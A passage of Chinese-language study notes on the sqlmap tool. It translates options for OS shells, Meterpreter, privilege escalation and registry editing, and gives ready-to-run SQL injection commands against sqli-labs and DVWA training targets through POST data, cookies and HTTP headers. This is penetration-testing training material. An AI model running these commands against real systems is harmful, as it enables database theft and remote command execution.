--os-shell 创建一个对方操作系统的shell,远程执行系统命令。直接用即可--os-shell
--os-pwn 同上,获取一个OOB shell,meterpreter或VNC。
--os-smbrelay 同上,一键获取一个OOB shell,meterpreter或VNC。
--os-bof 利用缓冲区溢出。
--priv-esc 自动提权,数据库进程用户权限提升。
--msf-path=MSFPATH Metasploit Framework本地的安装路径。
--tmp-path=TMPPATH 远程临时文件目录的绝对路径。
Windows registry access
--reg-read 读一个Windows注册表。
--reg-add 添加一个注册表。
--reg-del 删一个注册表。
--reg-key=REGKEY 和之前连用,注册表key值。
--reg-value=REGVAL 和之前连用,注册表值。
--reg-data=REGDATA 和之前连用,注册表数据。
--reg-type=REGTYPE 和之前连用,注册表类别。
General
-s SESSIONFILE 从一个文件加载保存的session。
-t TRAFFICFILE 记录流文件的保存位置。
--batch 批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。
--binary-fields=.. 指定二进制结果的字段。
--check-internet 在评估目标之前检查互联网连接,新功能。
--crawl=CRAWLDEPTH 从起始位置爬取的深度。例: --crawl=3
--crawl-exclude=.. 除了哪些页面之外全部爬取。例: --crawl-exclude="abc.com/logout.php"
--csv-del=CSVDEL 指定在CSV输出中使用的分隔字符。
--charset=CHARSET 强制字符串编码。例: --charset=GBK
--dump-format=DU.. 转储数据的格式 ,有(CSV (默认), HTML,SQLITE)三种。
--encoding=ENCOD.. 用于数据检索的字符编码。例: --encoding=GBK
--eta 显示每个输出的预计到达时间 。
--flush-session 清空会话信息。
--forms 在目标URL上解析和测试表单。
--fresh-queries sqlmap每次查询都会讲查询结果储存在.sqlmap文件夹中,下次再有相同测查询会调用上次的查询结果,使用这个参数可以忽略文件中有的记载结果,重新查询。
--har=HARFILE 将所有http流量记录在一个har文件中。
--hex dump非ascii字符时,将其编码为16进制,收到后解码还原。
--output-dir=OUT.. 输出结果至文件。例: --output-dir=/tmp
--parse-errors 解析并显示报错信息。
--save=SAVECONFIG 将使用的命令保存到配置ini文件
--scope=SCOPE 和-l类似,只是这个可以过滤信息,使用正则表达式过滤网址。
--test-filter=TE.. 根据有效负载和/或标题,不懂。
--test-skip=TEST.. 根据有效负载和/或标题跳过测试,不懂+2。
--update 更新sqlmap。
Miscellaneous
-z MNEMONICS 参数助记符,比较傻的一个功能。例: -z "bat,randoma,ign,tec=BEU" 其实就是只要你写的字母可以唯一匹配其他参数,就可以生效。
--alert=ALERT 在找到SQL注入时运行主机OS命令。
--answers=ANSWERS 设置问题答案,在刚刚的--batch 可以跳过很多问题,但只是选择默认值,可以使用者个参数对特定问题设定特定答案。例: --answer "extending=N"
--beep 在问题和/或当SQL注入被发现时发出嘟嘟声。。。。。。。。。
--cleanup 从SqLMAP特定的UDF和表中找数据库,类似暴力破解。
--dependencies 检查缺少的Sql映射依赖项。
--disable-coloring 禁用控制台输出着色。
--gpage=GOOGLEPAGE 在指定页使用google结果,不懂。
--identify-waf 识别目标的防火墙。
--mobile cosplay 手机。
--offline 在脱机模式下工作。
--purge-output 情况输出文件夹。
--skip-waf 跳过WAF/IPS/IDS保护的启发式检测。
--smart 有大量检测目标时候,只选择基于错误的检测。
--sqlmap-shell 创建一个交互的sqlmap_shell,不懂。
--tmp-dir=TMPDIR 更改存储临时文件的本地目录。
--web-root=WEBROOT 设置Web服务器文档根目录。例: --web-root="/var/www"
--wizard 新手教程。
6. 列
post请求
sqlmap -u http://10.10.20.20/sqli/Less-11/ --method=post --data='uname=admin&passwd=admin&submit=Submit' --dbs --users
sqlmap -u http://10.10.20.20/sqli/Less-11/ --method=post --data='uname=admin&passwd=admin&submit=Submit' -D security --tables
sqlmap -u http://10.10.20.20/sqli/Less-11/ --data='uname=admin&passwd=admin&submit=Submit' --dbs -b
--param-del 制定data数据的分割符
sqlmap -u http://10.10.20.20/sqli/Less-11/ --data='uname=admin&passwd=admin&submit=Submit' --param-del='&' -dbs -b
sqlmap -u http://10.10.20.20/sqli/Less-11/ --data='uname=admin&passwd=admin&submit=Submit' --param-del="&" -D security --tables
cookie 注入
sqlmap -r /root/Desktop/cookie.txt --level 2 -p uname
cat cookie.txt
GET /sqli/Less-20/index.php HTTP/1.1
Host: 10.10.20.20
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.20.20/sqli/Less-20/
DNT: 1
Connection: close
Cookie: uname=admin; PHPSESSID=rp287ad1irpfcb9gcpr1u9eil3
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
-
对http cookie值进行探测,需要设置 --level 2 及以上的
web基于cookie验证的注入
sqlmap -u "http://10.10.20.20/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie='security=low; PHPSESSID=rp287ad1irpfcb9gcpr1u9eil3' --dbs
sqlmap -u "http://10.10.20.20/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie "security=low; PHPSESSID=rp287ad1irpfcb9gcpr1u9eil3" -b
自定义user-agent头
抓包默认的 user-agent :sqlmap/1.6#stable (https://sqlmap.org)
sqlmap -u "http://10.10.20.20/sqli/Less-2/?id=1" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0" --dbs
sqlmap -u "http://10.10.20.20/sqli/Less-2/?id=1" --random-agent --dbs #随机user-agent
ls /usr/share/sqlmap/data/txt/user-agents.txt
user-agent 注入
-
*号 指定探测位置
-
针对user-agent的值探测sql注入,需要设置 --level 3 及以上
sqlmap -r /root/Desktop/t.txt --level 3 -dbs #user-agent 注入
custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] #user-agent 后加*号 指定位置探测
伪造http referer值
-
对请求头探测需要 level 3 及以上的级别
设置http其他标头
-
默认情况从目标的url解析http 主机头
-
*号指定位置探测
-
--level 5 将对http主机头进行sql注入检测
sqlmap -r /root/Desktop/t.txt -b
sqlmap -u "http://10.10.20.20/sqli/Less-1/?id=1" --headers="user-agent:tefafa\nAccept-Language:en-cntert"
#/n 分割 设置host user-agent referer #自定义http标头
设置http协议认证参数
--auth-type